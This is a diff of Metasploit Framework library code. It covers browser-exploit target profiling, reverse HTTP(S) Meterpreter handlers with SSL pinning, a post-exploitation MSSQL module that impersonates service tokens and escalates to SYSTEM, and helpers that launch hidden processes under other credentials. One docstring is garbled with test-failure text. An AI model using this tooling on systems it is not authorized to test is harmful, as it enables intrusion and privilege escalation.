def get_bad_requirements(profile)
bad_reqs = []
# At this point the check is already done.
# If :activex is true, that means the clsid + method had a match,
# if not, then false.
if @requirements[:clsid] and @requirements[:method]
@requirements[:activex] = 'true' # Script passes boolean as string
end
@requirements.each do |k, v|
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
expected = k != :vuln_test ? v : 'true'
vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}")
if k == :vuln_test
if k == :activex
bad_reqs << k if has_bad_activex?(profile[k.to_sym])
elsif k == :vuln_test
bad_reqs << k unless profile[k.to_sym].to_s == 'true'
elsif v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v
@ -232,7 +237,6 @@ module Msf
bad_reqs
end
#
# Returns the target profile based on the tag. Each profile has the following structure:
# 'cookie_name' =>
# {
@ -253,7 +257,7 @@ module Msf
#
# If the source is 'script', the profile might have even more information about plugins:
# 'office' : The version of Microsoft Office (IE only)
# 'activex' : Whether a specific method is available from an ActiveX control (IE only)
# 'activex' : Whether a specific set of clsid & method is available from an ActiveX control (IE only)
# 'java' : The Java version
# 'mshtml_build' : The MSHTML build version
# 'flash' : The Flash version
@ -261,45 +265,41 @@ module Msf
#
# @param tag [String] Either a cookie or IP + User-Agent
# @return [Hash] The profile found. If not found, returns nil
#
def get_profile(tag)
sync do
return @target_profiles[tag]
end
end
#
# Updates information for a specific profile
#
# @param target_profile [Hash] The profile to update
# @param key [Symbol] The symbol to use for the hash
# @param value [String] The value to assign
#
def update_profile(target_profile, key, value)
sync do
target_profile[key] = value
end
end
#
# Initializes a profile, if it did not previously exist
#
# @param tag [String] A unique string as a way to ID the profile
#
def init_profile(tag)
sync do
@target_profiles[tag] ||= {}
end
end
#
# Retrieves a tag.
# First it obtains the tag from the browser's "Cookie" header.
# If the header is empty (possible if the browser has cookies disabled),
# then it will return a tag based on IP + the user-agent.
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def retrieve_tag(cli, request)
cookie = CGI::Cookie.parse(request.headers['Cookie'].to_s)
tag = cookie.has_key?(cookie_name) && cookie[cookie_name].first
@ -317,13 +317,12 @@ module Msf
tag
end
#
# Registers target information to @target_profiles
#
# @param source [Symbol] Either :script, or :headers
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def process_browser_info(source, cli, request)
tag = retrieve_tag(cli, request)
init_profile(tag)
@ -361,23 +360,21 @@ module Msf
})
end
#
# Checks if the target is running a proxy
#
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @return [Boolean] True if found, otherwise false
#
def has_proxy?(request)
proxy_header_set = PROXY_REQUEST_HEADER_SET & request.headers.keys
!proxy_header_set.empty?
end
#
# Returns the code for client-side detection
#
# @param user_agent [String] The user-agent of the browser
# @return [String] Returns the HTML for detection
#
def get_detection_html(user_agent)
ua_info = fingerprint_user_agent(user_agent)
os = ua_info[:os_name]
@ -418,11 +415,20 @@ module Msf
d['office'] = ie_addons_detect.getMsOfficeVersion();
d['mshtml_build'] = ScriptEngineBuildVersion().toString();
<%
clsid = @requirements[:clsid]
method = @requirements[:method]
if clsid and method
activex = @requirements[:activex]
if activex
activex.each do \|a\|
clsid = a[:clsid]
method = a[:method]
%>
d['activex'] = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
var ax = ie_addons_detect.hasActiveX('<%=clsid%>', '<%=method%>');
d['activex'] = "";
if (ax == true) {
d['activex'] += "<%=clsid%>=><%=method%>=>true;";
} else {
d['activex'] += "<%=clsid%>=><%=method%>=>false;";
}
<% end %>
<% end %>
<% end %>
@ -438,7 +444,7 @@ module Msf
%Q|
<script>
#{js}
#{code}
</script>
<noscript>
<img style="visibility:hidden" src="#{get_resource.chomp("/")}/#{@noscript_receiver_page}/">
@ -462,12 +468,11 @@ module Msf
cookie
end
#
# Handles exploit stages.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
#
def on_request_uri(cli, request)
case request.uri
when '/', get_resource.chomp("/")
@ -548,18 +553,17 @@ module Msf
end
end
#
# Overriding method. The module should override this.
#
# @param cli [Socket] Socket for the browser
# @param request [Rex::Proto::Http::Request] The HTTP request sent by the browser
# @param browser_info [Hash] The target profile
#
def on_request_exploit(cli, request, browser_info)
raise NoMethodError, "Module must define its own on_request_exploit method"
end
#
# Converts an ERB-based exploit template into HTML, and sends to client
#
# @param cli [Socket] Socket for the browser
@ -567,7 +571,6 @@ module Msf
# then this is handled as an Array, with the first element
# being the HTML, and the second element is the binding object.
# @param headers [Hash] The custom HTTP headers to include in the response
#
def send_exploit_html(cli, template, headers={})
html = ''
if template.class == Array
@ -578,13 +581,12 @@ module Msf
send_response(cli, html, headers)
end
#
# Generates a target-specific payload, should be called by the module
#
# @param cli [Socket] Socket for the browser
# @param browser_info [Hash] The target profile
# @return [String] The payload
#
def get_payload(cli, browser_info)
arch = browser_info[:arch]
platform = browser_info[:os_name]
@ -618,9 +620,8 @@ module Msf
private
#
# Sends a 404 respons. If a custom 404 is configured, then it will redirect to that instead.
#
def send_not_found(cli)
custom_404_url = get_custom_404_url
if custom_404_url.blank?

View File

@ -45,7 +45,7 @@ module Msf
register_advanced_options(
[
OptBool.new('SMBDirect', [ true, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptBool.new('SMBDirect', [ false, 'The target port is a raw SMB service (not NetBIOS)', true ]),
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),

View File

@ -77,6 +77,9 @@ module Handler
# Initialize the pending_connections counter to 0
self.pending_connections = 0
# Initialize the sessions counter to 0
self.sessions = 0
# Create the waiter event with auto_reset set to false so that
# if a session is ever created, waiting on it returns immediately.
self.session_waiter_event = Rex::Sync::Event.new(false, false)
@ -234,10 +237,14 @@ protected
# Decrement the pending connections counter now that we've processed
# one session.
self.pending_connections -= 1
# Count the number of sessions we have registered
self.sessions += 1
end
attr_accessor :session_waiter_event # :nodoc:
attr_accessor :pending_connections # :nodoc:
attr_accessor :sessions # :nodoc:
end

View File

@ -3,6 +3,8 @@ require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'msf/core/handler/reverse_http/uri_checksum'
require 'rex/payloads/meterpreter/patch'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf
module Handler
@ -16,6 +18,7 @@ module ReverseHttp
include Msf::Handler
include Msf::Handler::ReverseHttp::UriChecksum
include Msf::Payload::Windows::VerifySsl
#
# Returns the string representation of the handler type
@ -160,7 +163,7 @@ module ReverseHttp
def stop_handler
if self.service
self.service.remove_resource("/")
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
Rex::ServiceManager.stop_service(self.service) if self.sessions == 0
end
end
@ -217,6 +220,8 @@ protected
uri_match = process_uri_resource(req.relative_resource)
self.pending_connections += 1
# Process the requested resource.
case uri_match
when /^\/INITPY/
@ -252,7 +257,6 @@ protected
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,
})
self.pending_connections += 1
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
@ -291,12 +295,15 @@ protected
blob = obj.stage_payload
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
#
# Patch options into the payload
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
Rex::Payloads::Meterpreter::Patch.patch_passive_service!(blob,
:ssl => ssl?,
:url => url,
:ssl_cert_hash => verify_cert_hash,
:expiration => datastore['SessionExpirationTimeout'],
:comm_timeout => datastore['SessionCommunicationTimeout'],
:ua => datastore['MeterpreterUserAgent'],
@ -304,7 +311,7 @@ protected
:proxy_port => datastore['PayloadProxyPort'],
:proxy_type => datastore['PayloadProxyType'],
:proxy_user => datastore['PayloadProxyUser'],
:proxy_pass => datastore['PayloadProxyPass']
:proxy_pass => datastore['PayloadProxyPass'])
resp.body = encode_stage(blob)
@ -340,6 +347,7 @@ protected
resp.code = 200
resp.message = "OK"
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
cli.send_response(resp) if (resp)

View File

@ -43,7 +43,8 @@ module ReverseHttps
register_advanced_options(
[
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"])
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format"]),
OptBool.new('StagerVerifySSLCert', [false, "Whether to verify the SSL certificate in Meterpreter"])
], Msf::Handler::ReverseHttps)
end

View File

@ -108,8 +108,7 @@ module Payload::Windows::ReverseWinHttp
# @option opts [String] :url The URI to request during staging
# @option opts [String] :host The host to connect to
# @option opts [Fixnum] :port The port to connect to
# @option opts [Bool] :verify_ssl Whether or not to do SSL certificate validation
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
# @option opts [Fixnum] :retry_count The number of times to retry a failed request before giving up
#
@ -121,7 +120,7 @@ module Payload::Windows::ReverseWinHttp
encoded_url = asm_generate_wchar_array(opts[:url])
encoded_host = asm_generate_wchar_array(opts[:host])
if opts[:ssl] && opts[:verify_cert] && opts[:verify_cert_hash]
if opts[:ssl] && opts[:verify_cert_hash]
verify_ssl = true
encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",")
end

View File

@ -2,7 +2,7 @@
require 'msf/core'
require 'msf/core/payload/windows/reverse_winhttp'
require 'rex/parser/x509_certificate'
require 'msf/core/payload/windows/verify_ssl'
module Msf
@ -17,6 +17,7 @@ module Msf
module Payload::Windows::ReverseWinHttps
include Msf::Payload::Windows::ReverseWinHttp
include Msf::Payload::Windows::VerifySsl
#
# Register reverse_winhttps specific options
@ -49,27 +50,13 @@ module Payload::Windows::ReverseWinHttps
#
def generate
verify_cert = false
verify_cert_hash = nil
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
unless datastore['HandlerSSLCert']
raise ArgumentError, "StagerVerifySSLCert is enabled but no HandlerSSLCert is configured"
else
verify_cert = true
hcert = Rex::Parser::X509Certificate.parse_pem_file(datastore['HandlerSSLCert'])
unless hcert and hcert[0] and hcert[1]
raise ArgumentError, "Could not parse a private key and certificate from #{datastore['HandlerSSLCert']}"
end
verify_cert_hash = Rex::Text.sha1_raw(hcert[1].to_der)
print_status("Stager will verify SSL Certificate with SHA1 hash #{verify_cert_hash.unpack("H*").first}")
end
end
verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
datastore['HandlerSSLCert'])
# Generate the simple version of this stager if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
if datastore['StagerVerifySSLCert'].to_s =~ /^(t|y|1)/i
if verify_cert_hash
raise ArgumentError, "StagerVerifySSLCert is enabled but not enough payload space is available"
end
@ -78,7 +65,6 @@ module Payload::Windows::ReverseWinHttps
host: datastore['LHOST'],
port: datastore['LPORT'],
url: generate_small_uri,
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount'])
end
@ -89,7 +75,6 @@ module Payload::Windows::ReverseWinHttps
port: datastore['LPORT'],
url: generate_uri,
exitfunk: datastore['EXITFUNC'],
verify_cert: verify_cert,
verify_cert_hash: verify_cert_hash,
retry_count: datastore['StagerRetryCount']
}

View File

@ -1,6 +1,7 @@
#-*- coding: binary -*-
require 'msf/core'
require 'rex/payloads/meterpreter/patch'
module Msf
@ -75,10 +76,12 @@ module Payload::Windows::StagelessMeterpreter
# the URL might not be given, as it might be patched in some other way
if url
url = "s#{url}\x00"
location = dll.index("https://#{'X' * 256}")
if location
dll[location, url.length] = url
# Patch the URL using the patcher as this upports both ASCII and WCHAR.
unless Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 512}", "s#{url}\x00")
# If the patching failed this could mean that we are somehow
# working with outdated binaries, so try to patch with the
# old stuff.
Rex::Payloads::Meterpreter::Patch.patch_string!(dll, "https://#{'X' * 256}", "s#{url}\x00")
end
end

View File

@ -0,0 +1,36 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex/parser/x509_certificate'
module Msf
###
#
# Implements SSL validation check options
#
###
module Payload::Windows::VerifySsl
#
# Get the SSL hash from the certificate, if required.
#
def get_ssl_cert_hash(verify_cert, handler_cert)
unless verify_cert.to_s =~ /^(t|y|1)/i
return nil
end
unless handler_cert
raise ArgumentError, "Verifying SSL cert is enabled but no handler cert is configured"
end
hash = Rex::Parser::X509Certificate.get_cert_file_hash(handler_cert)
print_status("Meterpreter will verify SSL Certificate with SHA1 hash #{hash.unpack("H*").first}")
hash
end
end
end

View File

@ -0,0 +1,210 @@
# -*- coding: binary -*-
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'
require 'msf/core/exploit/mssql_commands'
module Msf
class Post
module Windows
module MSSQL
# @return [String, nil] contains the identified SQL command line client
attr_accessor :sql_client
include Msf::Exploit::Remote::MSSQL_COMMANDS
include Msf::Post::Windows::Services
include Msf::Post::Windows::Priv
# Identifies the Windows Service matching the SQL Server instance name
#
# @param [String] instance the SQL Server instance name to locate
# @return [Hash, nil] the Windows Service instance
def check_for_sqlserver(instance = nil)
target_service = nil
each_service do |service|
if instance.to_s.strip.empty?
# Target default instance
if service[:display] =~ /SQL Server \(|^MSSQLSERVER|^MSSQL\$/i &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
else
if (
service[:display].downcase.include?("SQL Server (#{instance}".downcase) || #2k8
service[:display].downcase.include?("MSSQL$#{instance}".downcase) || #2k
service[:display].downcase.include?("MSSQLServer#{instance}".downcase) || #2k5
service[:display].downcase == instance.downcase # If the user gets very specific
) &&
service[:display] !~ /OLAPService|ADHelper/i &&
service[:pid].to_i > 0
target_service = service
break
end
end
end
if target_service
target_service.merge!(service_info(target_service[:name]))
end
target_service
end
# Identifies a valid SQL Server command line client on the host and sets
# @sql_client
#
# @see #sql_client
# @return [String, nil] the SQL command line client
def get_sql_client
client = nil
if check_sqlcmd
client = 'sqlcmd'
elsif check_osql
client = 'osql'
end
@sql_client = client
client
end
# Attempts to run the osql command line tool
#
# @return [Boolean] true if osql is present
def check_osql
result = run_cmd('osql -?')
result =~ /(SQL Server Command Line Tool)|(usage: osql)/i
end
# Attempts to run the sqlcmd command line tool
#
# @return [Boolean] true if sqlcmd is present
def check_sqlcmd
result = run_cmd('sqlcmd -?')
result =~ /SQL Server Command Line Tool/i
end
# Runs a SQL query using the identified command line tool
#
# @param [String] query the query to execute
# @param [String] instance the SQL instance to target
# @param [String] server the SQL server to target
# @return [String] the result of query
def run_sql(query, instance = nil, server = '.')
target = server
if instance && instance.downcase != 'mssqlserver'
target = "#{server}\\#{instance}"
end
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
vprint_status(cmd)
run_cmd(cmd)
end
# Executes a hidden command
#
# @param [String] cmd the command line to execute
# @param [Boolean] token use the current thread token
# @return [String] the results from the command
#
# @note This may fail as SYSTEM if the current process
# doesn't have sufficient privileges to duplicate a token,
# e.g. SeAssignPrimaryToken
def run_cmd(cmd, token = true)
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
res = ""
while (d = process.channel.read)
break if d == ""
res << d
end
process.channel.close
process.close
res
end
# Attempts to impersonate the user of the supplied service
# If the process has the appropriate privileges it will attempt to
# steal a token to impersonate, otherwise it will attempt to migrate
# into the service process.
#
# @note This may cause the meterpreter session to migrate!
#
# @param [Hash] service the service to target
# @return [Boolean] true if impersonated successfully
def impersonate_sql_user(service)
return false if service.nil? || service[:pid].nil? || service[:pid] <= 0
pid = service[:pid]
vprint_status("Current user: #{session.sys.config.getuid}")
current_privs = client.sys.config.getprivs
if current_privs.include?('SeImpersonatePrivilege') ||
current_privs.include?('SeTcbPrivilege') ||
current_privs.include?('SeAssignPrimaryTokenPrivilege')
username = nil
session.sys.process.each_process do |process|
if process['pid'] == pid
username = process['user']
break
end
end
return false unless username
session.core.use('incognito') unless session.incognito
vprint_status("Attemping to impersonate user: #{username}")
res = session.incognito.incognito_impersonate_token(username)
if res =~ /Successfully/i
print_good("Impersonated user: #{username}")
return true
else
return false
end
else
# Attempt to migrate to target sqlservr.exe process
# Migrating works, but I can't rev2self after its complete
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
begin
session.core.migrate(pid)
rescue Rex::RuntimeError => e
print_error(e.to_s)
return false
end
vprint_status("Current user: #{session.sys.config.getuid}")
print_good("Successfully migrated to sqlservr.exe process #{pid}")
end
true
end
# Attempts to escalate the meterpreter session to SYSTEM
#
# @return [Boolean] true if escalated successfully or user is already SYSTEM
def get_system
print_status("Checking if user is SYSTEM...")
if is_system?
print_good("User is SYSTEM")
return true
else
# Attempt to get LocalSystem privileges
print_warning("Attempting to get SYSTEM privileges...")
system_status = session.priv.getsystem
if system_status && system_status.first
print_good("Success, user is now SYSTEM")
return true
else
print_error("Unable to obtained SYSTEM privileges")
return false
end
end
end
end # MSSQL
end # Windows
end # Post
end # Msf

View File

@ -8,6 +8,12 @@ module Msf::Post::Windows::Runas
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
include Msf::Post::Windows::Error
ERROR = Msf::Post::Windows::Error
MAX_PATH = 260
STARTF_USESHOWWINDOW = 0x00000001
SW_HIDE = 0
def shell_execute_exe(filename = nil, path = nil)
exe_payload = generate_payload_exe
@ -34,4 +40,217 @@ module Msf::Post::Windows::Runas
select(nil, nil, nil, 1) until session_created?
end
end
#
# Create a STARTUP_INFO struct for use with CreateProcessA
#
# This struct will cause the process to be hidden
#
# @return [String] STARTUP_INFO struct
#
def startup_info
[0, # cb
0, # lpReserved
0, # lpDesktop
0, # lpTitle
0, # dwX
0, # dwY
0, # dwXSize
0, # dwYSize
0, # dwXCountChars
0, # dwYCountChars
0, # dwFillAttribute
STARTF_USESHOWWINDOW, # dwFlags
SW_HIDE, # wShowWindow
0, # cbReserved2
0, # lpReserved2
0, # hStdInput
0, # hStdOutput
0 # hStdError
].pack('VVVVVVVVVVVVvvVVVV')
end
#
# Call CreateProcessWithLogonW to start a process with the supplier
# user credentials
#
# @note The caller should clear up the handles returned in
# the PROCESS_INFORMATION @return hash.
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] The executable to be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_with_logon(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 1024)
vprint_status("Executing CreateProcessWithLogonW: #{application_name} #{command_line}...")
create_process = session.railgun.advapi32.CreateProcessWithLogonW(user,
domain,
password,
'LOGON_WITH_PROFILE',
application_name,
command_line,
'CREATE_UNICODE_ENVIRONMENT',
nil,
nil,
startup_info,
16)
if create_process['return']
pi = parse_process_information(create_process['lpProcessInformation'])
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
print_error("Try setting the DOMAIN or USER in the format: user@domain") if create_process['GetLastError'] == 1783 && domain.nil?
end
pi
end
#
# Call CreateProcessAsUser to start a process with the supplier
# user credentials
#
# Can be used by SYSTEM processes with the SE_INCREASE_QUOTA_NAME and
# SE_ASSIGNPRIMARYTOKEN_NAME privileges.
#
# This will normally error with 0xc000142 on later OS's (Vista+?) for
# gui apps but is ok for firing off cmd.exe...
#
# @param domain [String] The target user domain
# @param user [String] The target user
# @param password [String] The target user password
# @param application_name [String] Thn executableived :CloseHandle
# with unexpected arguments
# expected: ("testPhToken")
# got: (n be run, can be
# nil
# @param command_line [String] The command line or process arguments
#
# @return [Hash, nil] The values from the process_information struct
#
def create_process_as_user(domain, user, password, application_name, command_line)
return unless check_user_format(user, domain)
return unless check_command_length(application_name, command_line, 32000)
vprint_status("Executing LogonUserA...")
logon_user = session.railgun.advapi32.LogonUserA(user,
domain,
password,
'LOGON32_LOGON_INTERACTIVE',
'LOGON32_PROVIDER_DEFAULT',
4)
if logon_user['return']
begin
ph_token = logon_user['phToken']
vprint_status("Executing CreateProcessAsUserA...")
create_process = session.railgun.advapi32.CreateProcessAsUserA(ph_token,
application_name,
command_line,
nil,
nil,
false,
'CREATE_NEW_CONSOLE',
nil,
nil,
startup_info,
16)
if create_process['return']
begin
pi = parse_process_information(create_process['lpProcessInformation'])
ensure
session.railgun.kernel32.CloseHandle(pi[:process_handle])
session.railgun.kernel32.CloseHandle(pi[:thread_handle])
end
print_good("Process started successfully, PID: #{pi[:process_id]}")
else
print_error("Unable to create process, Error Code: #{create_process['GetLastError']} - #{create_process['ErrorMessage']}")
end
return pi
ensure
session.railgun.kernel32.CloseHandle(ph_token)
end
else
print_error("Unable to login the user, Error Code: #{logon_user['GetLastError']} - #{logon_user['ErrorMessage']}")
end
nil
end
#
# Parse the PROCESS_INFORMATION struct
#
# @param process_information [String] The PROCESS_INFORMATION value
# from the CreateProcess call
#
# @return [Hash] The values from the process_information struct
#
def parse_process_information(process_information)
fail ArgumentError, 'process_information is nil' if process_information.nil?
fail ArgumentError, 'process_information is empty string' if process_information.empty?
pi = process_information.unpack('VVVV')
{ :process_handle => pi[0], :thread_handle => pi[1], :process_id => pi[2], :thread_id => pi[3] }
end
#
# Checks the username and domain is in the correct format
# for the CreateProcess_x WinAPI calls.
#
# @param username [String] The target user
# @param domain [String] The target user domain
#
# @raise [ArgumentError] If the username format is incorrect
#
# @return [True] True if username is in the correct format
#
def check_user_format(username, domain)
fail ArgumentError, 'username is nil' if username.nil?
if domain && username.include?('@')
raise ArgumentError, 'Username is in UPN format (user@domain) so the domain parameter must be nil'
end
true
end
#
# Checks the command_length parameter is the correct length
# for the CreateProcess_x WinAPI calls depending on the presence
# of application_name
#
# @param application_name [String] lpApplicationName
# @param command_line [String] lpCommandLine
# @param max_length [Integer] The max command length of the respective
# CreateProcess function
#
# @raise [ArgumentError] If the command_line is too large
#
# @return [True] True if the command_line is within the correct bounds
#
def check_command_length(application_name, command_line, max_length)
fail ArgumentError, 'max_length is nil' if max_length.nil?
if application_name.nil? && command_line.nil?
raise ArgumentError, 'Both application_name and command_line are nil'
elsif command_line && command_line.length > max_length
raise ArgumentError, "Command line must be less than #{max_length} characters (Currently #{command_line.length})"
elsif application_name.nil? && command_line
cl = command_line.split(' ')
if cl[0] && cl[0].length > MAX_PATH
raise ArgumentError, "When application_name is nil the command line module must be less than MAX_PATH #{MAX_PATH} characters (Currently #{cl[0].length})"
end
end
true
end
end

View File

@ -43,22 +43,42 @@ module Msf::HTTP::Wordpress::Version
# Checks a readme for a vulnerable version
#
# @param [String] plugin_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
def check_plugin_version_from_readme(plugin_name, fixed_version = nil, vuln_introduced_version = nil)
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
end
# Checks the style.css file for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_style(theme_name, fixed_version = nil, vuln_introduced_version = nil)
style_uri = normalize_uri(wordpress_url_themes, theme_name, 'style.css')
res = send_request_cgi(
'uri' => style_uri,
'method' => 'GET'
)
# No style.css file present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
return extract_and_check_version(res.body.to_s, :style, :theme, fixed_version, vuln_introduced_version)
end
# Checks a readme for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] fixed_version Optional, the version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
def check_theme_version_from_readme(theme_name, fixed_version = nil, vuln_introduced_version = nil)
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
end
@ -77,7 +97,7 @@ module Msf::HTTP::Wordpress::Version
nil
end
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_version = nil)
case type
when :plugin
folder = 'plugins'
@ -99,36 +119,73 @@ module Msf::HTTP::Wordpress::Version
'uri' => readme_url,
'method' => 'GET'
)
# no Readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
end
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
if res.nil? || res.code != 200
# No readme.txt or Readme.txt present for plugin
return Msf::Exploit::CheckCode::Unknown if type == :plugin
# readme present, but no version number
# Try again using the style.css file
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
end
version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
# If no version could be found in readme.txt for a theme, try style.css
return check_theme_version_from_style(name, fixed_version, vuln_introduced_version)
else
return version_res
end
end
def extract_and_check_version(body, type, item_type, fixed_version = nil, vuln_introduced_version = nil)
case type
when :readme
# Try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = body[/(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i, 1]
when :style
# Try to extract version from style.css
# Example line:
# Version: 1.5.2
version = body[/(?:Version):\s*([0-9a-z.-]+)/i, 1]
else
fail("Unknown file type #{type}")
end
# Could not identify version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{type}")
vprint_status("#{peer} - Found version #{version} of the #{item_type}")
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if fixed_version.nil?
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
# Newer or equal to the version it was introduced
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
end
end
end
end

View File

@ -243,16 +243,16 @@ class Core
args.each do |res|
good_res = nil
if (File.file? res and File.readable? res)
if ::File.exists?(res)
good_res = res
elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed)
[
::Msf::Config.script_directory + File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + File::SEPARATOR + "resource"
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
].each do |dir|
res_path = dir + File::SEPARATOR + res
if (File.file?(res_path) and File.readable?(res_path))
res_path = dir + ::File::SEPARATOR + res
if ::File.exists?(res_path)
good_res = res_path
break
end
@ -806,7 +806,7 @@ class Core
end
# This is not respecting the Protected access control, but this seems to be the only way
# to rename a job. If you know a more appropriate way, patches accepted.
# to rename a job. If you know a more appropriate way, patches accepted.
framework.jobs[job_id].send(:name=, job_name)
print_status("Job #{job_id} updated")
@ -2973,11 +2973,18 @@ class Core
res << addr
end
when 'LHOST'
rh = self.active_module.datastore["RHOST"]
rh = self.active_module.datastore['RHOST'] || framework.datastore['RHOST']
if rh and not rh.empty?
res << Rex::Socket.source_address(rh)
else
res << Rex::Socket.source_address()
res << Rex::Socket.source_address
# getifaddrs was introduced in 2.1.2
if Socket.respond_to?(:getifaddrs)
ifaddrs = Socket.getifaddrs.find_all { |ifaddr|
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) && ifaddr.addr.ip?
}
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
end
end
else
end

View File

@ -220,6 +220,11 @@ class Db
end
def change_host_info(rws, data)
if rws == [nil]
print_error("In order to change the host info, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -230,6 +235,11 @@ class Db
end
def change_host_name(rws, data)
if rws == [nil]
print_error("In order to change the host name, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -240,6 +250,11 @@ class Db
end
def change_host_comment(rws, data)
if rws == [nil]
print_error("In order to change the comment, you must provide a range of hosts")
return
end
rws.each do |rw|
rw.each do |ip|
id = framework.db.get_host(:address => ip).id
@ -249,12 +264,59 @@ class Db
end
end
def add_host_tag(rws, tag_name)
